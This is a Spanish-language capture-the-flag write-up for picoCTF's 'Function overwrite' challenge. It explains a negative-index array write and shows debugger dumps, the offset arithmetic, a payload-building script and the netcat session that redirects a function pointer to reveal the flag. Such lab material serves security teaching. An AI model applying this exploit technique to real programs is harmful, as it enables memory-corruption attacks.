Function overwrite

pico
pwn

August 16, 20255 minutes

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}

int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

El programa le pide al usuario un texto y 2 números, con ese texto lo que hace es validar si la suma total de todos los caracteres del texto es 13371337, si se cumple, muestra la flag. Esto lo hace llamando a check, que es como llamar directamente a hard_check,

void (*check)(char*, size_t) = hard_checker;

Esto es imposible, ya que solo deja escribir 128 caracteres y como máximo la suma de los 128 caracteres puede llegar a dar: 32640

>>> 0xff * 128
32640

Si check apuntara a easy_checker() si se podría cumplir la condición para que muestre la flag, ya que, easy_checker() le basta con que la suma de todos los caracteres del texto introducido de 1337, cosa que es asequible.

Volviendo a los números que parecía que no servían para nada…

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

Se le está sumando a una posición de la array (especificada por el usuario) un valor (especificado por el usuario). Solo se hace la comprobación de que num1 sea menor a 10, pero no de que num1 sea mayor a 0 así que esto se puede aprovechar para escribir en posiciones negativas de la array afectando a otros valores que estén guardadas en el stack.

fun está definido muy cerca de check, así que no deben estar muy lejos en el stack.

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

Concretamente están a una distancia de 0x20 (32)

pwndbg> p &fun
$1 = (<data variable, no debug info> *) 0x804c080 <fun>
pwndbg> p &check
$2 = (<data variable, no debug info> *) 0x804c040 <check>
pwndbg> x/65xb 0x804c040
0x804c040 <check>:	0x36	0x94	0x04	0x08	0x00	0x00	0x00	0x00
0x804c048:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c050:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c058:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c060 <completed.7623>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c068:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c070:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c078:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c080 <fun>:	0x00
pwndbg>

Una prueba que hice fue mandar de números -1 y 64, con eso pude comprobar que el 64 (0x40) se escribió en una dirección menor a fun

pwndbg> x/128xb 0x804c040
0x804c040 <check>:	0x36	0x94	0x04	0x08	0x00	0x00	0x00	0x00
0x804c048:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c050:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c058:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c060 <completed.7623>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c068:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c070:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c078:	0x00	0x00	0x00	0x00	0x40	0x00	0x00	0x00
0x804c080 <fun>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c088 <fun+8>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c090 <fun+16>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c098 <fun+24>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c0a0 <fun+32>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c0a8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c0b0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x804c0b8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Con esto también se puede ver que cada posición de la array ocupa 4 bytes así que para llegar a escribir en chek hay que escribir en la posición -16.

¿Pero qué hay que escribir?

En check por defecto hay 0x08049436 que es la dirección de hard_checker y el objetivo es que valga 0x080492fc.

En el programa está sumando el número que se le pasa (fun[num1] += num2;) así que habrá que pasar la diferencia entre las 2 direcciones.

>>> 0x080492fc - 0x08049436
-314
>>>

Quedando así:

fun[-16] += -314;

Antes:

pwndbg> p (void (*)(char *, size_t)) check
$2 = (void (*)(char *, size_t)) 0x8049436 <hard_checker>

Después:

pwndbg> p (void (*)(char *, size_t)) check
$3 = (void (*)(char *, size_t)) 0x80492fc <easy_checker>

Solo queda generar una string que la suma total de sus caracteres en ascii sume 1337.

string = ""
total_ascii = 0
max = 1337
while True:
    if total_ascii + ord("A") < max:
        string += "A"
        total_ascii += ord("A")
    else:
        break

string += chr(max-total_ascii)
print(string)
[d3bo@archlinux ~]$ python3 /tmp/ascii.py
AAAAAAAAAAAAAAAAAAAA%
[d3bo@archlinux ~]$ nc saturn.picoctf.net 51869
Tell me a story and then I'll tell you if you're a 1337 >> AAAAAAAAAAAAAAAAAAAA%
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
-16 -314
You're 1337. Here's the flag.
picoCTF{*****************ab5fc}